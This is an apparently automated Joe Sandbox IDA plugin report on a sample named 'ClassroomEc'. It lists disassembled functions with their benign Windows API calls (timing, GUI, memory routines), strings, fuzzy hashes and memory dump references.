Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorBrowseDebugFolderFromHeapListMallocPathmemset
String ID: A
API String ID: 1414482492-3554254475
Opcode ID: 53da9470b0c37777d057187746e6165c9bd209b0f12c0cb6415655675cc0b1c1
Instruction ID: 637c619eb959b0b9144027d1aabdddd88c3f26584440d6f2d175515d21589766
Opcode Fuzzy Hash: 53da9470b0c37777d057187746e6165c9bd209b0f12c0cb6415655675cc0b1c1
Instruction Fuzzy Hash: 7A21C97095021D9BCB24EB54DC8CBD9B3B9AF58300F1441D9E50DA72A0DB749E84CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D87E9D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00D87ED4
GetCurrentProcessId.KERNEL32 ref: 00D87EE0
GetCurrentThreadId.KERNEL32 ref: 00D87EE8
GetTickCount.KERNEL32 ref: 00D87EF0
QueryPerformanceCounter.KERNEL32(?), ref: 00D87EFC

Strings

qld], xrefs: 00D87EC8, 00D87F23

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID: qld]
API String ID: 1445889803-2806098251
Opcode ID: d83ebb74cba82f89629c716cb3f23246d73c49f2275475c6220b162638ba74c4
Instruction ID: 780875fed428a9620859b1a3afdd89691ef06dc83d6950ef8f0e3442f1c6ad54
Opcode Fuzzy Hash: d83ebb74cba82f89629c716cb3f23246d73c49f2275475c6220b162638ba74c4
Instruction Fuzzy Hash: 25015E72D24315ABCB11ABB9EC4C5AAF7F8EB48355F5A4561E901E7354D7309D008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D7B400 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7B40A
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7B415
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7B420
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7B42B
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7B436
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7B441

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ProcessorVirtual$Concurrency::RootRoot::
String ID:
API String ID: 3936482309-0
Opcode ID: eec72d98b234a6a65ae9d72163ffa9feb1c6c3b5cdcfe611574be4fde77e45ee
Instruction ID: 238840205fbc384f80e80fb29bcebd7943d0f85245944928e1d31cb9b55a25dc
Opcode Fuzzy Hash: eec72d98b234a6a65ae9d72163ffa9feb1c6c3b5cdcfe611574be4fde77e45ee
Instruction Fuzzy Hash: 11210E74A04108EFDB04EF98C665B9EB7B1EF44308F648198D5056B342CB75AF01DBB6

Uniqueness

Uniqueness Score: -1.00%

Function 00D65870 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D65885

Part of subcall function 00D79450: _wmemmove.LIBCMTD ref: 00D7948E

Part of subcall function 00D79270: _wmemmove.LIBCMTD ref: 00D792A5

Part of subcall function 00D704F0: ??3@YAXPAX@Z.MSVCRT ref: 00D70505

_DebugHeapAllocator.LIBCPMTD ref: 00D658C3

Strings

%%T\, xrefs: 00D65897
%%T/, xrefs: 00D658D5
%%T, xrefs: 00D658FA

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap_wmemmove$??3@
String ID: %%T$%%T/$%%T\
API String ID: 3527340311-3604420949
Opcode ID: bc06b9687964f9b4dc42c1095e70f1522071812133d60bb68c314868f0505b8b
Instruction ID: 318bcad3757a911de2905b64eec109baaf13b0c9a737a401b79d43b4376d21ae
Opcode Fuzzy Hash: bc06b9687964f9b4dc42c1095e70f1522071812133d60bb68c314868f0505b8b
Instruction Fuzzy Hash: 6F119676960008BBCB08FB94DCA2CEDF778EE54704F54C158B61A66192FF706A09CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D659F0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D65A05

Part of subcall function 00D79450: _wmemmove.LIBCMTD ref: 00D7948E

Part of subcall function 00D79270: _wmemmove.LIBCMTD ref: 00D792A5

Part of subcall function 00D704F0: ??3@YAXPAX@Z.MSVCRT ref: 00D70505

_DebugHeapAllocator.LIBCPMTD ref: 00D65A43

Strings

%%M/, xrefs: 00D65A55
%%M, xrefs: 00D65A7A
%%M\, xrefs: 00D65A17

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap_wmemmove$??3@
String ID: %%M$%%M/$%%M\
API String ID: 3527340311-1781175070
Opcode ID: b85b8da8ec0e96600bf5859444c4a139c27067623149170753498fe89262b90d
Instruction ID: ff6675a2758055be92319208a93d64116d54b7cc825f644a34c3c6dcb5bae10b
Opcode Fuzzy Hash: b85b8da8ec0e96600bf5859444c4a139c27067623149170753498fe89262b90d
Instruction Fuzzy Hash: 3A11AA76960008BBCB08FB94DCA2CEDF778EE54704F54C158B51A66191FF706A49CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D65930 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D65945

Part of subcall function 00D79450: _wmemmove.LIBCMTD ref: 00D7948E

Part of subcall function 00D79270: _wmemmove.LIBCMTD ref: 00D792A5

Part of subcall function 00D704F0: ??3@YAXPAX@Z.MSVCRT ref: 00D70505

_DebugHeapAllocator.LIBCPMTD ref: 00D65983

Strings

%%S\, xrefs: 00D65957
%%S/, xrefs: 00D65995
%%S, xrefs: 00D659BA

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap_wmemmove$??3@
String ID: %%S$%%S/$%%S\
API String ID: 3527340311-1963631775
Opcode ID: 6710ffe31e2e57a925375bf281664a23e8be43e0a85ad552f8ca0398ae6be902
Instruction ID: fca53be6490438c8c4e59ad1bae0da2f41590c249220fde4b7147709c7dc3b0d
Opcode Fuzzy Hash: 6710ffe31e2e57a925375bf281664a23e8be43e0a85ad552f8ca0398ae6be902
Instruction Fuzzy Hash: 8411AA36960009BBCB08FBA4DCA2CEDF778EE54704F54C158B51A66191FF706A09CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D85260 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00D852FF
memset.MSVCRT ref: 00D85318
memset.MSVCRT ref: 00D853A5
memset.MSVCRT ref: 00D853BE

Strings

&, xrefs: 00D85289

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: memset
String ID: &
API String ID: 2221118986-1010288
Opcode ID: 4a134deadddd27b75c2f87929b85d2cbcd596e30c9a30e45e571e3856727e1f5
Instruction ID: cd938979337e5cad97be3b221e4b39a6303a1be609aa53483aacddcb92b2868c
Opcode Fuzzy Hash: 4a134deadddd27b75c2f87929b85d2cbcd596e30c9a30e45e571e3856727e1f5
Instruction Fuzzy Hash: BF418DB0D05208EFDB04DF98C985BADBBB1FF40308F248198E9456B386D6719B40EB94

Uniqueness

Uniqueness Score: -1.00%

Function 00D83700 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D8370A
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D83715
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D83720
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D8372B
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D83736

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ProcessorVirtual$Concurrency::RootRoot::
String ID:
API String ID: 3936482309-0
Opcode ID: 37855945f92fe7008d57c6353176db06197fcdf7bd4d5d145805dfabf7bdc565
Instruction ID: 4205c1bed8c63b3999b84212853e8625bb59f25664012f3c37154d9bf068e3c6
Opcode Fuzzy Hash: 37855945f92fe7008d57c6353176db06197fcdf7bd4d5d145805dfabf7bdc565
Instruction Fuzzy Hash: 9A216774A04148EFDB08DF88C6A5B9EB7B1FF44308F244188E5056B342CB75AF55EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B720 Relevance: 7.5, APIs: 5, Instructions: 22COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMTD ref: 00D6B72A
std::exception::exception.LIBCMTD ref: 00D6B735
std::exception::exception.LIBCMTD ref: 00D6B740
std::exception::exception.LIBCMTD ref: 00D6B74B
std::exception::exception.LIBCMTD ref: 00D6B756

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: std::exception::exception
String ID:
API String ID: 2807920213-0
Opcode ID: f8b1769de61019bb7566d5c90b2c811e35ceb3ea17b41fd2fe326901ab575d52
Instruction ID: bd79d6e547695fbb663d4a14788f930da29fa47da15d330ea5a82c1d76622a87
Opcode Fuzzy Hash: f8b1769de61019bb7566d5c90b2c811e35ceb3ea17b41fd2fe326901ab575d52
Instruction Fuzzy Hash: B7E0F530E05108EB8B0CFB99E966A6DB376DF84344B140599E40667342CE356F10EAB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D6AB90 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D69240: GetSystemMetrics.USER32(0000000B), ref: 00D69289
Part of subcall function 00D69240: GetSystemMetrics.USER32(0000000C), ref: 00D6929B

GetSystemMetrics.USER32(00000007), ref: 00D6ABA3
GetSystemMetrics.USER32(00000007), ref: 00D6ABBB
_DebugHeapAllocator.LIBCPMTD ref: 00D6ABD9

Strings

100%% , xrefs: 00D6ABE9, 00D6AC68

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: MetricsSystem$AllocatorDebugHeap
String ID: 100%%
API String ID: 1530364085-568723177
Opcode ID: a7fa9549379ad13071887fb6636f9f93a60100230373917c9976d125e220824c
Instruction ID: b292c6d1df33c79c4d38170d5842c5b36a38721fbd745626ef4b311339a93bc7
Opcode Fuzzy Hash: a7fa9549379ad13071887fb6636f9f93a60100230373917c9976d125e220824c
Instruction Fuzzy Hash: 5551A635A002098FCB08DF98C9919ADBBB6EB98324F285159D505BB395DB30ED81CFB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D69130 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,000001F4,00000000), ref: 00D69163
GetSystemMetrics.USER32(00000031), ref: 00D6919A
CreateFontIndirectW.GDI32(?), ref: 00D691B3
DeleteObject.GDI32(00000000), ref: 00D69213

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: bad5da075d77228606eeefde7f8eb0a17834676c7d253db43afa2d76b79f33a2
Instruction ID: a66f3ac548980deefc1d76c20a1226e0c0dd98f84a70aa4e1b69d8a2799f2ca1
Opcode Fuzzy Hash: bad5da075d77228606eeefde7f8eb0a17834676c7d253db43afa2d76b79f33a2
Instruction Fuzzy Hash: A331D8B498021E9FDB24DF54C898BE9B7B4BB58304F0442D9A919A7391CB709E84CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A280 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00D697C0: GetDlgItem.USER32(00000000,?), ref: 00D697D8

Part of subcall function 00D69890: ShowWindow.USER32(00000000,?,000004B2), ref: 00D698CA

memset.MSVCRT ref: 00D6A2FA
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00D6A30E
SHGetFileInfoW.SHELL32(?,00000000,00000000,000002B4,00000103), ref: 00D6A32E

Part of subcall function 00D68A60: GetDlgItem.USER32(?,00000000), ref: 00D68A72

SetWindowLongW.USER32(00000000,000004B7,000000FC), ref: 00D6A35B

Part of subcall function 00D693F0: GetModuleHandleW.KERNEL32(00000000,00000065), ref: 00D69410
Part of subcall function 00D693F0: LoadIconW.USER32(00000000), ref: 00D69417
Part of subcall function 00D693F0: GetSystemMetrics.USER32(00000032), ref: 00D69424
Part of subcall function 00D693F0: GetSystemMetrics.USER32(00000031), ref: 00D6942D
Part of subcall function 00D693F0: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000), ref: 00D6943A
Part of subcall function 00D693F0: LoadImageW.USER32(00000000), ref: 00D69441
Part of subcall function 00D693F0: GetWindowLongW.USER32(00000000,000004B2), ref: 00D6949A
Part of subcall function 00D693F0: SetWindowLongW.USER32(00000000,000004B2,000000F0), ref: 00D694B6
Part of subcall function 00D693F0: GetWindowLongW.USER32(00000000,000004B5), ref: 00D694CC
Part of subcall function 00D693F0: SetWindowLongW.USER32(00000000,000004B5,000000F0), ref: 00D694E8

Part of subcall function 00D6A5F0: SetFocus.USER32(00000000,000004B6,?,?,00D6A386), ref: 00D6A605

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: Window$Long$System$HandleItemLoadMetricsModule$DirectoryFileFocusIconImageInfoShowmemset
String ID:
API String ID: 1941954457-0
Opcode ID: 4ce41a19c34dbed912252fe1085521c74bbe77d36ffcb0daf1296095a0897fcf
Instruction ID: 12ca57d93abc5c7172209863d00f0aa62b2a8778c6a716b1830c7bfba87c29dc
Opcode Fuzzy Hash: 4ce41a19c34dbed912252fe1085521c74bbe77d36ffcb0daf1296095a0897fcf
Instruction Fuzzy Hash: DB21EBB0A50258ABDB24EB54CC96BADB736BB44704F0401D9A7196B2C1DBB06EC4CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00D7F230 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7F23A
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7F245
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7F250
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7F25B

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ProcessorVirtual$Concurrency::RootRoot::
String ID:
API String ID: 3936482309-0
Opcode ID: 2e2384dddb8baa8a2fa7223c125eb72f32625424b0445866dad93f37847f26c9
Instruction ID: c42a166c999a049348f31e383f2949da2115672909aa988f9a5cf6bed30e2faf
Opcode Fuzzy Hash: 2e2384dddb8baa8a2fa7223c125eb72f32625424b0445866dad93f37847f26c9
Instruction Fuzzy Hash: 99316374A04108EFDB04DF98C6A5B9EBBB1EF45308F2442D8E5096B342C775AF05EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D78EB0 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(013329AD,00D8B2CC), ref: 00D78EDD
??2@YAPAXI@Z.MSVCRT ref: 00D78EF9
_wmemmove.LIBCMTD ref: 00D78F1E
??3@YAXPAX@Z.MSVCRT ref: 00D78F32

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ??2@??3@ExceptionThrow_wmemmove
String ID:
API String ID: 2584154162-0
Opcode ID: 8e57bd0b577aa0d4c11a5dd49dbf784e03861ebdbc33068f9bcdbbd2410b51ed
Instruction ID: 69773380b23993a32ce50a54fd89fccaf7cdb73f52fe95fdb9db810d82f4ad56
Opcode Fuzzy Hash: 8e57bd0b577aa0d4c11a5dd49dbf784e03861ebdbc33068f9bcdbbd2410b51ed
Instruction Fuzzy Hash: EC11FEB5E00109AFCB04EF98D5859AEB7B5FF88300F208169E809A7345D731EE40DBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D78A30 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(013329AC,00D8B2CC), ref: 00D78A5D
??2@YAPAXI@Z.MSVCRT ref: 00D78A69
memcpy.MSVCRT ref: 00D78A8E
??3@YAXPAX@Z.MSVCRT ref: 00D78AA2

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: c87ed851d60a2ed490e16b9bbd6d6f11fe8013a934b81484f9203657a82175f8
Instruction ID: 1fbff36c0814a0e33609d3dc0ef8c303416d10bff37c78fb3533af2533d5c9e8
Opcode Fuzzy Hash: c87ed851d60a2ed490e16b9bbd6d6f11fe8013a934b81484f9203657a82175f8
Instruction Fuzzy Hash: 251198B5E04209AFCB04EF98D9859AEB7B5FF48304F248159E809A7311D731EA54CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D76BD0 Relevance: 6.0, APIs: 4, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D76BDA

Part of subcall function 00D771D0: Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D771DA

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D76BE5
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D76BF0
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D76BFB

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ProcessorVirtual$Concurrency::RootRoot::
String ID:
API String ID: 3936482309-0
Opcode ID: 07e5b5dbc88aa7fdb91b1a806a8719c839115a2308ba9c656b6df533bde66788
Instruction ID: e5f37450c84ec85432aff1aafbc2f0f998e7335e8d21ace269df75bc7f9a6c0f
Opcode Fuzzy Hash: 07e5b5dbc88aa7fdb91b1a806a8719c839115a2308ba9c656b6df533bde66788
Instruction Fuzzy Hash: A5019774904108EFDB08EF88C6A5A6DB7B6EF44308F648188D8056B342CB71AF01EBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00D65C90 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00D65C98
GetWindowRect.USER32(?,?), ref: 00D65CB3
ScreenToClient.USER32(00000000,?), ref: 00D65CC1
ScreenToClient.USER32(00000000,?), ref: 00D65CD2

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: 8e512678a2eedded1ace145b9d5cdca1db5f0a20e272042733fcf1e4507dc160
Instruction ID: ad869070cb3d90693a132ee496f2bbf6a72cfe1d6ab6e120b33504048d9a1a70
Opcode Fuzzy Hash: 8e512678a2eedded1ace145b9d5cdca1db5f0a20e272042733fcf1e4507dc160
Instruction Fuzzy Hash: 53F0DA79515208FBCB04DFA4DC58AAEB7B8EB48311F148544FD09C7310D635EA40DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00D68990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D689AF
wsprintfW.USER32 ref: 00D689E1

